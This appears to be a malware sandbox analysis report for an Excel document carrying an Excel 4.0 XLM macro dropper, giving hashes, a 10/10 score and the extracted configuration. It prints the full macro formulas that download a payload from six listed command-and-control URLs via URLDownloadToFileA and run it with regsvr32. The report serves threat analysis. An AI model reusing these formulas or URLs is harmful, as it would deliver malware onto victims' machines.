General

  • Target

    3590c6d4154359633d88e5522d38f6f9d06bab4228821f9d9e6dcf245e03e55d

  • Size

    40KB

  • Sample

    241120-1p42bavdlr

  • MD5

    c95665538e966898005cadaa2eb5abef

  • SHA1

    d10b4216c7a146861aea4d63d3fc5787684a6d2b

  • SHA256

    3590c6d4154359633d88e5522d38f6f9d06bab4228821f9d9e6dcf245e03e55d

  • SHA512

    3d54b40fb0336ffbac3d425b9fcb58e896e0398684ebd7eaae8c572b89ea107cc7c83ede5720264a9c4e1d5733381f817f7f4e48eaa4159e2d7dabf104e6be41

  • SSDEEP

    768:itby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:abunC5iymqylND59V4jwmXc2Xy3

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

http://en.pachammer.com/wp-content/vIG/

http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/

http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/

http://www.aacitygroup.com/wp-content/EkY9/

https://theoutsourcedaccountant.com/images/nFikTQmP/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://en.pachammer.com/wp-content/vIG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.aacitygroup.com/wp-content/EkY9/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://theoutsourcedaccountant.com/images/nFikTQmP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

Targets

    • Target

      3590c6d4154359633d88e5522d38f6f9d06bab4228821f9d9e6dcf245e03e55d

    • Size

      40KB

    • MD5

      c95665538e966898005cadaa2eb5abef

    • SHA1

      d10b4216c7a146861aea4d63d3fc5787684a6d2b

    • SHA256

      3590c6d4154359633d88e5522d38f6f9d06bab4228821f9d9e6dcf245e03e55d

    • SHA512

      3d54b40fb0336ffbac3d425b9fcb58e896e0398684ebd7eaae8c572b89ea107cc7c83ede5720264a9c4e1d5733381f817f7f4e48eaa4159e2d7dabf104e6be41

    • SSDEEP

      768:itby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:abunC5iymqylND59V4jwmXc2Xy3

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks